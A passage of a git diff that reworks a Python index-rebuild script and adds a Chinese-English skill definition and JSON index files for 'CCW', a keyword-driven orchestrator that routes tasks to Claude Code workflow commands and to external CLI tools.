     }
 
-    return relationships
-
-def sync_reference_directory():
-    """Sync reference directory with source directories."""
-    print("\n=== Syncing Reference Directory ===")
-
-    # Step 1: Delete all files in reference directory
-    if REFERENCE_DIR.exists():
-        print(f"Deleting existing reference directory: {REFERENCE_DIR}")
-        shutil.rmtree(REFERENCE_DIR)
-
-    # Step 2: Create reference directory structure
-    REFERENCE_DIR.mkdir(parents=True, exist_ok=True)
-    print(f"Created reference directory: {REFERENCE_DIR}")
-
-    # Step 3: Copy agents directory
-    agents_target = REFERENCE_DIR / "agents"
-    if AGENTS_DIR.exists():
-        print(f"Copying {AGENTS_DIR} -> {agents_target}")
-        shutil.copytree(AGENTS_DIR, agents_target)
-        agent_files = list(agents_target.rglob("*.md"))
-        print(f"  Copied {len(agent_files)} agent files")
-    else:
-        print(f"  WARNING: Source directory not found: {AGENTS_DIR}")
-
-    # Step 4: Copy commands directory
-    commands_target = REFERENCE_DIR / "commands"
-    if COMMANDS_DIR.exists():
-        print(f"Copying {COMMANDS_DIR} -> {commands_target}")
-        shutil.copytree(COMMANDS_DIR, commands_target)
-        command_files = list(commands_target.rglob("*.md"))
-        print(f"  Copied {len(command_files)} command files")
-    else:
-        print(f"  WARNING: Source directory not found: {COMMANDS_DIR}")
-
-    print("Reference directory sync completed\n")
-
 def identify_essential_commands(all_commands: List[Dict]) -> List[Dict]:
     """Identify the most essential commands for beginners."""
-    # Essential command names (14 most important) - use full command paths
     essential_names = [
-        "workflow:lite-plan",
-        "workflow:lite-fix",
-        "workflow:plan",
-        "workflow:execute",
-        "workflow:status",
-        "workflow:session:start",
-        "workflow:review-session-cycle",
-        "cli:analyze",
-        "cli:chat",
-        "memory:docs",
-        "workflow:brainstorm:artifacts",
-        "workflow:action-plan-verify",
-        "workflow:resume",
-        "version"
+        "workflow:lite-plan", "workflow:lite-fix", "workflow:plan",
+        "workflow:execute", "workflow:status", "workflow:session:start",
+        "workflow:review-session-cycle", "cli:analyze", "cli:chat",
+        "memory:docs", "workflow:brainstorm:artifacts",
+        "workflow:action-plan-verify", "workflow:resume", "version"
     ]
 
     essential = []
     for cmd in all_commands:
-        # Check command name without leading slash
         cmd_name = cmd['command'].lstrip('/')
         if cmd_name in essential_names:
             essential.append(cmd)
 
-    # Sort by order in essential_names
-    essential.sort(key=lambda x: essential_names.index(x['command'].lstrip('/')))
-
-    return essential[:14]  # Limit to 14
+    essential.sort(key=lambda x: essential_names.index(x['command'].lstrip('/')) if x['command'].lstrip('/') in essential_names else 999)
+    return essential[:14]
 
 def main():
     """Main analysis function."""
     import sys
     import io
 
-    # Fix Windows console encoding
     if sys.platform == 'win32':
         sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8')
 
-    print("=== Command Guide Index Rebuild ===\n")
+    print("=== CCW-Help Index Rebuild ===\n")
 
-    # Step 1: Sync reference directory
-    sync_reference_directory()
-
-    # Step 2: Analyze command files
+    # Analyze command files
     print("=== Analyzing Command Files ===")
-
-    # Find all command files
     command_files = list(COMMANDS_DIR.rglob("*.md"))
     print(f"Found {len(command_files)} command files")
 
-    # Analyze each command
     all_commands = []
     for cmd_file in sorted(command_files):
         try:
@@ -413,7 +253,21 @@ def main():
         except Exception as e:
             print(f"  ERROR analyzing {cmd_file}: {e}")
 
-    print(f"\nAnalyzed {len(all_commands)} commands")
+    # Analyze agent files
+    print("\n=== Analyzing Agent Files ===")
+    agent_files = list(AGENTS_DIR.rglob("*.md"))
+    print(f"Found {len(agent_files)} agent files")
+
+    all_agents = []
+    for agent_file in sorted(agent_files):
+        try:
+            metadata = analyze_agent_file(agent_file)
+            all_agents.append(metadata)
+            print(f"  OK {metadata['name']}")
+        except Exception as e:
+            print(f"  ERROR analyzing {agent_file}: {e}")
+
+    print(f"\nAnalyzed {len(all_commands)} commands, {len(all_agents)} agents")
 
     # Generate index files
     INDEX_DIR.mkdir(parents=True, exist_ok=True)
@@ -422,9 +276,15 @@ def main():
     all_commands_path = INDEX_DIR / "all-commands.json"
     with open(all_commands_path, 'w', encoding='utf-8') as f:
         json.dump(all_commands, f, indent=2, ensure_ascii=False)
-    print(f"\nOK Generated {all_commands_path} ({os.path.getsize(all_commands_path)} bytes)")
+    print(f"\nOK Generated {all_commands_path.name} ({os.path.getsize(all_commands_path)} bytes)")
 
-    # 2. by-category.json
+    # 2. all-agents.json
+    all_agents_path = INDEX_DIR / "all-agents.json"
+    with open(all_agents_path, 'w', encoding='utf-8') as f:
+        json.dump(all_agents, f, indent=2, ensure_ascii=False)
+    print(f"OK Generated {all_agents_path.name} ({os.path.getsize(all_agents_path)} bytes)")
+
+    # 3. by-category.json
     by_category = defaultdict(lambda: defaultdict(list))
     for cmd in all_commands:
         cat = cmd['category']
@@ -434,9 +294,9 @@ def main():
     by_category_path = INDEX_DIR / "by-category.json"
     with open(by_category_path, 'w', encoding='utf-8') as f:
         json.dump(dict(by_category), f, indent=2, ensure_ascii=False)
-    print(f"OK Generated {by_category_path} ({os.path.getsize(by_category_path)} bytes)")
+    print(f"OK Generated {by_category_path.name} ({os.path.getsize(by_category_path)} bytes)")
 
-    # 3. by-use-case.json
+    # 4. by-use-case.json
     by_use_case = defaultdict(list)
     for cmd in all_commands:
         by_use_case[cmd['usage_scenario']].append(cmd)
@@ -444,59 +304,34 @@ def main():
     by_use_case_path = INDEX_DIR / "by-use-case.json"
     with open(by_use_case_path, 'w', encoding='utf-8') as f:
         json.dump(dict(by_use_case), f, indent=2, ensure_ascii=False)
-    print(f"OK Generated {by_use_case_path} ({os.path.getsize(by_use_case_path)} bytes)")
+    print(f"OK Generated {by_use_case_path.name} ({os.path.getsize(by_use_case_path)} bytes)")
 
-    # 4. essential-commands.json
+    # 5. essential-commands.json
     essential = identify_essential_commands(all_commands)
     essential_path = INDEX_DIR / "essential-commands.json"
     with open(essential_path, 'w', encoding='utf-8') as f:
         json.dump(essential, f, indent=2, ensure_ascii=False)
-    print(f"OK Generated {essential_path} ({os.path.getsize(essential_path)} bytes)")
+    print(f"OK Generated {essential_path.name} ({os.path.getsize(essential_path)} bytes)")
 
-    # 5. command-relationships.json
+    # 6. command-relationships.json
     relationships = build_command_relationships()
     relationships_path = INDEX_DIR / "command-relationships.json"
     with open(relationships_path, 'w', encoding='utf-8') as f:
         json.dump(relationships, f, indent=2, ensure_ascii=False)
-    print(f"OK Generated {relationships_path} ({os.path.getsize(relationships_path)} bytes)")
+    print(f"OK Generated {relationships_path.name} ({os.path.getsize(relationships_path)} bytes)")
 
-    # Print summary statistics
-    print("\n=== Summary Statistics ===")
-
-    # Reference directory statistics
-    if REFERENCE_DIR.exists():
-        ref_agents = list((REFERENCE_DIR / "agents").rglob("*.md")) if (REFERENCE_DIR / "agents").exists() else []
-        ref_commands = list((REFERENCE_DIR / "commands").rglob("*.md")) if (REFERENCE_DIR / "commands").exists() else []
-        print(f"\nReference directory:")
-        print(f"  Agents: {len(ref_agents)} files")
-        print(f"  Commands: {len(ref_commands)} files")
-        print(f"  Total: {len(ref_agents) + len(ref_commands)} files")
-
-    print(f"\nTotal commands indexed: {len(all_commands)}")
+    # Print summary
+    print("\n=== Summary ===")
+    print(f"Commands: {len(all_commands)}")
+    print(f"Agents: {len(all_agents)}")
+    print(f"Essential: {len(essential)}")
     print(f"\nBy category:")
     for cat in sorted(by_category.keys()):
         total = sum(len(cmds) for cmds in by_category[cat].values())
         print(f"  {cat}: {total}")
-        for subcat in sorted(by_category[cat].keys()):
-            if subcat != '_root':
-                print(f"    - {subcat}: {len(by_category[cat][subcat])}")
 
-    print(f"\nBy usage scenario:")
-    for scenario in sorted(by_use_case.keys()):
-        print(f"  {scenario}: {len(by_use_case[scenario])}")
-
-    print(f"\nBy difficulty:")
-    difficulty_counts = defaultdict(int)
-    for cmd in all_commands:
-        difficulty_counts[cmd['difficulty']] += 1
-    for difficulty in ['Beginner', 'Intermediate', 'Advanced']:
-        print(f"  {difficulty}: {difficulty_counts[difficulty]}")
-
-    print(f"\nEssential commands: {len(essential)}")
-
-    print("\n=== Index Rebuild Complete ===")
-    print(f"Reference: {REFERENCE_DIR}")
-    print(f"Index: {INDEX_DIR}")
+    print(f"\nIndex: {INDEX_DIR}")
+    print("=== Complete ===")
 
 if __name__ == '__main__':
     main()

.claude/skills/ccw/SKILL.md

@@ -0,0 +1,462 @@
+---
+name: ccw
+description: Stateless workflow orchestrator that automatically selects and executes the optimal workflow combination based on task intent. Supports rapid (lite-plan+execute), full (brainstorm+plan+execute), coupled (plan+execute), bugfix (lite-fix), and issue (multi-point fixes) workflows. Triggers on "ccw", "workflow", "自动工作流", "智能调度".
+allowed-tools: Task(*), SlashCommand(*), AskUserQuestion(*), Read(*), Bash(*), Grep(*)
+---
+
+# CCW - Claude Code Workflow Orchestrator
+
+无状态工作流协调器，根据任务意图自动选择并执行最优工作流组合。
+
+## Architecture Overview
+
+```
+┌─────────────────────────────────────────────────────────────────┐
+│  CCW Orchestrator (Stateless)                                   │
+├─────────────────────────────────────────────────────────────────┤
+│                                                                  │
+│  Input Analysis                                                  │
+│  ├─ Intent Classification (bugfix/feature/refactor/issue/...)  │
+│  ├─ Complexity Assessment (low/medium/high)                     │
+│  ├─ Context Detection (codebase familiarity needed?)            │
+│  └─ Constraint Extraction (time/scope/quality)                  │
+│                                                                  │
+│  Workflow Selection (Decision Tree)                              │
+│  ├─ 🐛 Bug? → lite-fix / lite-fix --hotfix                      │
+│  ├─ ❓ Unclear? → brainstorm → plan → execute                   │
+│  ├─ ⚡ Simple? → lite-plan → lite-execute                       │
+│  ├─ 🔧 Complex? → plan → execute                                │
+│  ├─ 📋 Issue? → issue:plan → issue:queue → issue:execute        │
+│  └─ 🎨 UI? → ui-design → plan → execute                         │
+│                                                                  │
+│  Execution Dispatch                                              │
+│  └─ SlashCommand("/workflow:xxx") or Task(agent)                │
+│                                                                  │
+└─────────────────────────────────────────────────────────────────┘
+```
+
+## Workflow Combinations (组合技)
+
+### 1. Rapid (快速迭代) ⚡
+**Pattern**: 多模型协作分析 + 直接执行
+**Commands**: `/workflow:lite-plan` → `/workflow:lite-execute`
+**When to use**:
+- 明确知道做什么和怎么做
+- 单一功能或小型改动
+- 快速原型验证
+
+### 2. Full (完整流程) 📋
+**Pattern**: 分析 + 头脑风暴 + 规划 + 执行
+**Commands**: `/workflow:brainstorm:auto-parallel` → `/workflow:plan` → `/workflow:execute`
+**When to use**:
+- 不确定产品方向或技术方案
+- 需要多角色视角分析
+- 复杂新功能开发
+
+### 3. Coupled (复杂耦合) 🔗
+**Pattern**: 完整规划 + 验证 + 执行
+**Commands**: `/workflow:plan` → `/workflow:action-plan-verify` → `/workflow:execute`
+**When to use**:
+- 跨模块依赖
+- 架构级变更
+- 团队协作项目
+
+### 4. Bugfix (缺陷修复) 🐛
+**Pattern**: 智能诊断 + 修复
+**Commands**: `/workflow:lite-fix` or `/workflow:lite-fix --hotfix`
+**When to use**:
+- 任何有明确症状的Bug
+- 生产事故紧急修复
+- 根因不清楚需要诊断
+
+### 5. Issue (长时间多点修复) 📌
+**Pattern**: Issue规划 + 队列 + 批量执行
+**Commands**: `/issue:plan` → `/issue:queue` → `/issue:execute`
+**When to use**:
+- 多个相关问题需要批量处理
+- 长时间跨度的修复任务
+- 需要优先级排序和冲突解决
+
+### 6. UI-First (设计驱动) 🎨
+**Pattern**: UI设计 + 规划 + 执行
+**Commands**: `/workflow:ui-design:*` → `/workflow:plan` → `/workflow:execute`
+**When to use**:
+- 前端功能开发
+- 需要视觉参考
+- 设计系统集成
+
+## Intent Classification
+
+```javascript
+function classifyIntent(input) {
+  const text = input.toLowerCase()
+  
+  // Priority 1: Bug keywords
+  if (/\b(fix|bug|error|issue|crash|broken|fail|wrong|incorrect)\b/.test(text)) {
+    if (/\b(hotfix|urgent|production|critical|emergency)\b/.test(text)) {
+      return { type: 'bugfix', mode: 'hotfix', workflow: 'lite-fix --hotfix' }
+    }
+    return { type: 'bugfix', mode: 'standard', workflow: 'lite-fix' }
+  }
+  
+  // Priority 2: Issue batch keywords
+  if (/\b(issues?|batch|queue|多个|批量)\b/.test(text) && /\b(fix|resolve|处理)\b/.test(text)) {
+    return { type: 'issue', workflow: 'issue:plan → issue:queue → issue:execute' }
+  }
+  
+  // Priority 3: Uncertainty keywords → Full workflow
+  if (/\b(不确定|不知道|explore|研究|分析一下|怎么做|what if|should i|探索)\b/.test(text)) {
+    return { type: 'exploration', workflow: 'brainstorm → plan → execute' }
+  }
+  
+  // Priority 4: UI/Design keywords
+  if (/\b(ui|界面|design|设计|component|组件|style|样式|layout|布局)\b/.test(text)) {
+    return { type: 'ui', workflow: 'ui-design → plan → execute' }
+  }
+  
+  // Priority 5: Complexity assessment for remaining
+  const complexity = assessComplexity(text)
+  
+  if (complexity === 'high') {
+    return { type: 'feature', complexity: 'high', workflow: 'plan → verify → execute' }
+  }
+  
+  if (complexity === 'medium') {
+    return { type: 'feature', complexity: 'medium', workflow: 'lite-plan → lite-execute' }
+  }
+  
+  return { type: 'feature', complexity: 'low', workflow: 'lite-plan → lite-execute' }
+}
+
+function assessComplexity(text) {
+  let score = 0
+  
+  // Architecture keywords
+  if (/\b(refactor|重构|migrate|迁移|architect|架构|system|系统)\b/.test(text)) score += 2
+  
+  // Multi-module keywords
+  if (/\b(multiple|多个|across|跨|all|所有|entire|整个)\b/.test(text)) score += 2
+  
+  // Integration keywords
+  if (/\b(integrate|集成|connect|连接|api|database|数据库)\b/.test(text)) score += 1
+  
+  // Security/Performance keywords
+  if (/\b(security|安全|performance|性能|scale|扩展)\b/.test(text)) score += 1
+  
+  if (score >= 4) return 'high'
+  if (score >= 2) return 'medium'
+  return 'low'
+}
+```
+
+## Execution Flow
+
+### Phase 1: Input Analysis
+
+```javascript
+// Parse user input
+const input = userInput.trim()
+
+// Check for explicit workflow request
+if (input.startsWith('/workflow:') || input.startsWith('/issue:')) {
+  // User explicitly requested a workflow, pass through
+  SlashCommand(input)
+  return
+}
+
+// Classify intent
+const intent = classifyIntent(input)
+
+console.log(`
+## Intent Analysis
+
+**Input**: ${input.substring(0, 100)}...
+**Classification**: ${intent.type}
+**Complexity**: ${intent.complexity || 'N/A'}
+**Recommended Workflow**: ${intent.workflow}
+`)
+```
+
+### Phase 2: User Confirmation (Optional)
+
+```javascript
+// For high-complexity or ambiguous intents, confirm with user
+if (intent.complexity === 'high' || intent.type === 'exploration') {
+  const confirmation = AskUserQuestion({
+    questions: [{
+      question: `Recommended: ${intent.workflow}. Proceed?`,
+      header: "Workflow",
+      multiSelect: false,
+      options: [
+        { label: `${intent.workflow} (Recommended)`, description: "Use recommended workflow" },
+        { label: "Rapid (lite-plan)", description: "Quick iteration" },
+        { label: "Full (brainstorm+plan)", description: "Complete exploration" },
+        { label: "Manual", description: "I'll specify the commands" }
+      ]
+    }]
+  })
+  
+  // Adjust workflow based on user selection
+  intent.workflow = mapSelectionToWorkflow(confirmation)
+}
+```
+
+### Phase 3: Workflow Dispatch
+
+```javascript
+switch (intent.workflow) {
+  case 'lite-fix':
+    SlashCommand('/workflow:lite-fix', args: input)
+    break
+    
+  case 'lite-fix --hotfix':
+    SlashCommand('/workflow:lite-fix --hotfix', args: input)
+    break
+    
+  case 'lite-plan → lite-execute':
+    SlashCommand('/workflow:lite-plan', args: input)
+    // lite-plan will automatically dispatch to lite-execute
+    break
+    
+  case 'plan → verify → execute':
+    SlashCommand('/workflow:plan', args: input)
+    // After plan, prompt for verify and execute
+    break
+    
+  case 'brainstorm → plan → execute':
+    SlashCommand('/workflow:brainstorm:auto-parallel', args: input)
+    // After brainstorm, continue with plan
+    break
+    
+  case 'issue:plan → issue:queue → issue:execute':
+    SlashCommand('/issue:plan', args: input)
+    // Issue workflow handles queue and execute
+    break
+    
+  case 'ui-design → plan → execute':
+    // Determine UI design subcommand
+    if (hasReference(input)) {
+      SlashCommand('/workflow:ui-design:imitate-auto', args: input)
+    } else {
+      SlashCommand('/workflow:ui-design:explore-auto', args: input)
+    }
+    break
+}
+```
+
+## CLI Tool Integration
+
+CCW **隐式调用** CLI 工具以获得三大优势：
+
+### 1. Token 效率 (Context Efficiency)
+
+CLI 工具在单独进程中运行，可以处理大量代码上下文而不消耗主会话 token：
+
+| 场景 | 触发条件 | 自动注入 |
+|------|----------|----------|
+| 大量代码上下文 | 文件读取 ≥ 50k 字符 | `gemini --mode analysis` |
+| 多模块分析 | 涉及 ≥ 5 个模块 | `gemini --mode analysis` |
+| 代码审查 | review 步骤 | `gemini --mode analysis` |
+
+### 2. 多模型视角 (Multi-Model Perspectives)
+
+不同模型有不同优势，CCW 根据任务类型自动选择：
+
+| Tool | 核心优势 | 最佳场景 | 触发关键词 |
+|------|----------|----------|------------|
+| Gemini | 超长上下文、深度分析、架构理解、执行流追踪 | 代码库理解、架构评估、根因分析 | "分析", "理解", "设计", "架构", "诊断" |
+| Qwen | 代码模式识别、多维度分析 | Gemini备选、第二视角验证 | "评估", "对比", "验证" |
+| Codex | 精确代码生成、自主执行、数学推理 | 功能实现、重构、测试 | "实现", "重构", "修复", "生成", "测试" |
+
+### 3. 增强能力 (Enhanced Capabilities)
+
+#### Debug 能力增强
+```
+触发条件: intent === 'bugfix' AND root_cause_unclear
+自动注入: gemini --mode analysis (执行流追踪)
+用途: 假设驱动调试、状态机错误诊断、并发问题排查
+```
+
+#### 规划能力增强
+```
+触发条件: complexity === 'high' OR intent === 'exploration'
+自动注入: gemini --mode analysis (架构分析)
+用途: 复杂任务先用CLI分析获取多模型视角
+```
+
+### 隐式注入规则 (Implicit Injection Rules)
+
+CCW 在以下条件自动注入 CLI 调用（无需用户显式请求）：
+
+```javascript
+const implicitRules = {
+  // 上下文收集：大量代码使用CLI可节省主会话token
+  context_gathering: {
+    trigger: 'file_read >= 50k chars OR module_count >= 5',
+    inject: 'gemini --mode analysis'
+  },
+
+  // 规划前分析：复杂任务先用CLI分析
+  pre_planning_analysis: {
+    trigger: 'complexity === "high" OR intent === "exploration"',
+    inject: 'gemini --mode analysis'
+  },
+
+  // 调试诊断：利用Gemini的执行流追踪能力
+  debug_diagnosis: {
+    trigger: 'intent === "bugfix" AND root_cause_unclear',
+    inject: 'gemini --mode analysis'
+  },
+
+  // 代码审查：用CLI减少token占用
+  code_review: {
+    trigger: 'step === "review"',
+    inject: 'gemini --mode analysis'
+  },
+
+  // 多任务执行：用Codex自主完成
+  implementation: {
+    trigger: 'step === "execute" AND task_count >= 3',
+    inject: 'codex --mode write'
+  }
+}
+```
+
+### 用户语义触发 (Semantic Tool Assignment)
+
+```javascript
+// 用户可以通过自然语言指定工具偏好
+const toolHints = {
+  gemini: /用\s*gemini|gemini\s*分析|让\s*gemini|深度分析|架构理解/i,
+  qwen: /用\s*qwen|qwen\s*评估|让\s*qwen|第二视角/i,
+  codex: /用\s*codex|codex\s*实现|让\s*codex|自主完成|批量修改/i
+}
+
+function detectToolPreference(input) {
+  for (const [tool, pattern] of Object.entries(toolHints)) {
+    if (pattern.test(input)) return tool
+  }
+  return null // Auto-select based on task type
+}
+```
+
+### 独立 CLI 工作流 (Standalone CLI Workflows)
+
+直接调用 CLI 进行特定任务：
+
+| Workflow | 命令 | 用途 |
+|----------|------|------|
+| CLI Analysis | `ccw cli --tool gemini` | 大型代码库快速理解、架构评估 |
+| CLI Implement | `ccw cli --tool codex` | 明确需求的自主实现 |
+| CLI Debug | `ccw cli --tool gemini` | 复杂bug根因分析、执行流追踪 |
+
+## Index Files (Dynamic Coordination)
+
+CCW 使用索引文件实现智能命令协调：
+
+| Index | Purpose |
+|-------|---------|
+| [index/command-capabilities.json](index/command-capabilities.json) | 命令能力分类（explore, plan, execute, test, review...） |
+| [index/workflow-chains.json](index/workflow-chains.json) | 预定义工作流链（rapid, full, coupled, bugfix, issue, tdd, ui...） |
+
+### 能力分类
+
+```
+capabilities:
+├── explore    - 代码探索、上下文收集
+├── brainstorm - 多角色分析、方案探索
+├── plan       - 任务规划、分解
+├── verify     - 计划验证、质量检查
+├── execute    - 任务执行、代码实现
+├── bugfix     - Bug诊断、修复
+├── test       - 测试生成、执行
+├── review     - 代码审查、质量分析
+├── issue      - 批量问题管理
+├── ui-design  - UI设计、原型
+├── memory     - 文档、知识管理
+├── session    - 会话管理
+└── debug      - 调试、问题排查
+```
+
+## TODO Tracking Integration
+
+CCW 自动使用 TodoWrite 跟踪工作流执行进度：
+
+```javascript
+// 工作流启动时自动创建 TODO 列表
+TodoWrite({
+  todos: [
+    { content: "CCW: Rapid Iteration (2 steps)", status: "in_progress", activeForm: "Running workflow" },
+    { content: "[1/2] /workflow:lite-plan", status: "in_progress", activeForm: "Executing lite-plan" },
+    { content: "[2/2] /workflow:lite-execute", status: "pending", activeForm: "Executing lite-execute" }
+  ]
+})
+
+// 每个步骤完成后自动更新状态
+// 支持暂停、继续、跳过操作
+```
+
+**进度可视化**:
+```
+✓ CCW: Rapid Iteration (2 steps)
+✓ [1/2] /workflow:lite-plan
+→ [2/2] /workflow:lite-execute
+```
+
+**控制命令**:
+| Input | Action |
+|-------|--------|
+| `continue` | 执行下一步 |
+| `skip` | 跳过当前步骤 |
+| `abort` | 停止工作流 |
+| `/workflow:*` | 执行指定命令 |
+
+## Reference Documents
+
+| Document | Purpose |
+|----------|---------|
+| [phases/orchestrator.md](phases/orchestrator.md) | 编排器决策逻辑 + TODO 跟踪 |
+| [phases/actions/rapid.md](phases/actions/rapid.md) | 快速迭代组合 |
+| [phases/actions/full.md](phases/actions/full.md) | 完整流程组合 |
+| [phases/actions/coupled.md](phases/actions/coupled.md) | 复杂耦合组合 |
+| [phases/actions/bugfix.md](phases/actions/bugfix.md) | 缺陷修复组合 |
+| [phases/actions/issue.md](phases/actions/issue.md) | Issue工作流组合 |
+| [specs/intent-classification.md](specs/intent-classification.md) | 意图分类规范 |
+| [WORKFLOW_DECISION_GUIDE.md](/WORKFLOW_DECISION_GUIDE.md) | 工作流决策指南 |
+
+## Examples
+
+### Example 1: Bug Fix
+```
+User: 用户登录失败，返回 401 错误
+CCW: Intent=bugfix, Workflow=lite-fix
+→ /workflow:lite-fix "用户登录失败，返回 401 错误"
+```
+
+### Example 2: New Feature (Simple)
+```
+User: 添加用户头像上传功能
+CCW: Intent=feature, Complexity=low, Workflow=lite-plan→lite-execute
+→ /workflow:lite-plan "添加用户头像上传功能"
+```
+
+### Example 3: Complex Refactoring
+```
+User: 重构整个认证模块，迁移到 OAuth2
+CCW: Intent=feature, Complexity=high, Workflow=plan→verify→execute
+→ /workflow:plan "重构整个认证模块，迁移到 OAuth2"
+```
+
+### Example 4: Exploration
+```
+User: 我想优化系统性能，但不知道从哪入手
+CCW: Intent=exploration, Workflow=brainstorm→plan→execute
+→ /workflow:brainstorm:auto-parallel "探索系统性能优化方向"
+```
+
+### Example 5: Multi-Model Collaboration
+```
+User: 用 gemini 分析现有架构，然后让 codex 实现优化
+CCW: Detects tool preferences, executes in sequence
+→ Gemini CLI (analysis) → Codex CLI (implementation)
+```

.claude/skills/ccw/index/command-capabilities.json

@@ -0,0 +1,127 @@
+{
+  "_metadata": {
+    "version": "1.0.0",
+    "generated": "2026-01-03",
+    "description": "CCW command capability index for intelligent workflow coordination"
+  },
+  "capabilities": {
+    "explore": {
+      "description": "Codebase exploration and context gathering",
+      "commands": [
+        { "command": "/workflow:init", "weight": 1.0, "tags": ["project-setup", "context"] },
+        { "command": "/workflow:tools:gather", "weight": 0.9, "tags": ["context", "analysis"] },
+        { "command": "/memory:load", "weight": 0.8, "tags": ["context", "memory"] }
+      ],
+      "agents": ["cli-explore-agent", "context-search-agent"]
+    },
+    "brainstorm": {
+      "description": "Multi-perspective analysis and ideation",
+      "commands": [
+        { "command": "/workflow:brainstorm:auto-parallel", "weight": 1.0, "tags": ["exploration", "multi-role"] },
+        { "command": "/workflow:brainstorm:artifacts", "weight": 0.9, "tags": ["clarification", "guidance"] },
+        { "command": "/workflow:brainstorm:synthesis", "weight": 0.8, "tags": ["consolidation", "refinement"] }
+      ],
+      "roles": ["product-manager", "system-architect", "ux-expert", "data-architect", "api-designer"]
+    },
+    "plan": {
+      "description": "Task planning and decomposition",
+      "commands": [
+        { "command": "/workflow:lite-plan", "weight": 1.0, "complexity": "low-medium", "tags": ["fast", "interactive"] },
+        { "command": "/workflow:plan", "weight": 0.9, "complexity": "medium-high", "tags": ["comprehensive", "persistent"] },
+        { "command": "/workflow:tdd-plan", "weight": 0.7, "complexity": "medium-high", "tags": ["test-first", "quality"] },
+        { "command": "/task:create", "weight": 0.6, "tags": ["single-task", "manual"] },
+        { "command": "/task:breakdown", "weight": 0.5, "tags": ["decomposition", "subtasks"] }
+      ],
+      "agents": ["cli-lite-planning-agent", "action-planning-agent"]
+    },
+    "verify": {
+      "description": "Plan and quality verification",
+      "commands": [
+        { "command": "/workflow:action-plan-verify", "weight": 1.0, "tags": ["plan-quality", "consistency"] },
+        { "command": "/workflow:tdd-verify", "weight": 0.8, "tags": ["tdd-compliance", "coverage"] }
+      ]
+    },
+    "execute": {
+      "description": "Task execution and implementation",
+      "commands": [
+        { "command": "/workflow:lite-execute", "weight": 1.0, "complexity": "low-medium", "tags": ["fast", "agent-or-cli"] },
+        { "command": "/workflow:execute", "weight": 0.9, "complexity": "medium-high", "tags": ["dag-parallel", "comprehensive"] },
+        { "command": "/task:execute", "weight": 0.7, "tags": ["single-task"] }
+      ],
+      "agents": ["code-developer", "cli-execution-agent", "universal-executor"]
+    },
+    "bugfix": {
+      "description": "Bug diagnosis and fixing",
+      "commands": [
+        { "command": "/workflow:lite-fix", "weight": 1.0, "tags": ["diagnosis", "fix", "standard"] },
+        { "command": "/workflow:lite-fix --hotfix", "weight": 0.9, "tags": ["emergency", "production", "fast"] }
+      ],
+      "agents": ["code-developer"]
+    },
+    "test": {
+      "description": "Test generation and execution",
+      "commands": [
+        { "command": "/workflow:test-gen", "weight": 1.0, "tags": ["post-implementation", "coverage"] },
+        { "command": "/workflow:test-fix-gen", "weight": 0.9, "tags": ["from-description", "flexible"] },
+        { "command": "/workflow:test-cycle-execute", "weight": 0.8, "tags": ["iterative", "fix-cycle"] }
+      ],
+      "agents": ["test-fix-agent"]
+    },
+    "review": {
+      "description": "Code review and quality analysis",
+      "commands": [
+        { "command": "/workflow:review-session-cycle", "weight": 1.0, "tags": ["session-based", "comprehensive"] },
+        { "command": "/workflow:review-module-cycle", "weight": 0.9, "tags": ["module-based", "targeted"] },
+        { "command": "/workflow:review", "weight": 0.8, "tags": ["single-pass", "type-specific"] },
+        { "command": "/workflow:review-fix", "weight": 0.7, "tags": ["auto-fix", "findings"] }
+      ]
+    },
+    "issue": {
+      "description": "Batch issue management",
+      "commands": [
+        { "command": "/issue:new", "weight": 1.0, "tags": ["create", "import"] },
+        { "command": "/issue:discover", "weight": 0.9, "tags": ["find", "analyze"] },
+        { "command": "/issue:plan", "weight": 0.8, "tags": ["solutions", "planning"] },
+        { "command": "/issue:queue", "weight": 0.7, "tags": ["prioritize", "order"] },
+        { "command": "/issue:execute", "weight": 0.6, "tags": ["batch-execute", "dag"] }
+      ],
+      "agents": ["issue-plan-agent", "issue-queue-agent"]
+    },
+    "ui-design": {
+      "description": "UI design and prototyping",
+      "commands": [
+        { "command": "/workflow:ui-design:explore-auto", "weight": 1.0, "tags": ["from-scratch", "variants"] },
+        { "command": "/workflow:ui-design:imitate-auto", "weight": 0.9, "tags": ["reference-based", "copy"] },
+        { "command": "/workflow:ui-design:design-sync", "weight": 0.7, "tags": ["sync", "finalize"] },
+        { "command": "/workflow:ui-design:generate", "weight": 0.6, "tags": ["assemble", "prototype"] }
+      ],
+      "agents": ["ui-design-agent"]
+    },
+    "memory": {
+      "description": "Documentation and knowledge management",
+      "commands": [
+        { "command": "/memory:docs", "weight": 1.0, "tags": ["generate", "planning"] },
+        { "command": "/memory:update-related", "weight": 0.9, "tags": ["incremental", "git-based"] },
+        { "command": "/memory:update-full", "weight": 0.8, "tags": ["comprehensive", "all-modules"] },
+        { "command": "/memory:skill-memory", "weight": 0.7, "tags": ["package", "reusable"] }
+      ],
+      "agents": ["doc-generator", "memory-bridge"]
+    },
+    "session": {
+      "description": "Workflow session management",
+      "commands": [
+        { "command": "/workflow:session:start", "weight": 1.0, "tags": ["init", "discover"] },
+        { "command": "/workflow:session:list", "weight": 0.9, "tags": ["view", "status"] },
+        { "command": "/workflow:session:resume", "weight": 0.8, "tags": ["continue", "restore"] },
+        { "command": "/workflow:session:complete", "weight": 0.7, "tags": ["finish", "archive"] }
+      ]
+    },
+    "debug": {
+      "description": "Debugging and problem solving",
+      "commands": [
+        { "command": "/workflow:debug", "weight": 1.0, "tags": ["hypothesis", "iterative"] },
+        { "command": "/workflow:clean", "weight": 0.6, "tags": ["cleanup", "artifacts"] }
+      ]
+    }
+  }
+}

.claude/skills/ccw/index/intent-rules.json

@@ -0,0 +1,136 @@
+{
+  "_metadata": {
+    "version": "1.0.0",
+    "description": "Externalized intent classification rules for CCW orchestrator"
+  },
+  "intent_patterns": {
+    "bugfix": {
+      "priority": 1,
+      "description": "Bug修复意图",
+      "variants": {
+        "hotfix": {
+          "patterns": ["hotfix", "urgent", "production", "critical", "emergency", "紧急", "生产环境", "线上"],
+          "workflow": "lite-fix --hotfix"
+        },
+        "standard": {
+          "patterns": ["fix", "bug", "error", "issue", "crash", "broken", "fail", "wrong", "incorrect", "修复", "错误", "崩溃", "失败"],
+          "workflow": "lite-fix"
+        }
+      }
+    },
+    "issue_batch": {
+      "priority": 2,
+      "description": "批量Issue处理意图",
+      "patterns": {
+        "batch_keywords": ["issues", "issue", "batch", "queue", "多个", "批量", "一批"],
+        "action_keywords": ["fix", "resolve", "处理", "解决", "修复"]
+      },
+      "require_both": true,
+      "workflow": "issue:plan → issue:queue → issue:execute"
+    },
